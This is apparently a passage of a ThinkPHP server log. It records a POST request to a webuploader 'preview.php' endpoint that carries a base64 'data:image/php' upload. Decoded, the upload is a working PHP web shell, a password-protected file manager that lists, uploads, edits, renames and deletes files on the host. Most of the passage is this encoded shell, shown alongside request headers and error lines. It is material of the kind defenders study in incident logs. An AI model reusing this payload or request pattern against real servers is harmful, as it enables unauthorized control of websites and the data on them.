kaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:19+08:00 ] 119.42.146.234 POST 59.110.137.245/manage/assets/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002756s] [吞吐率:362.86req/s] [内存消耗:196.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'manage', 2 => 'assets', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0K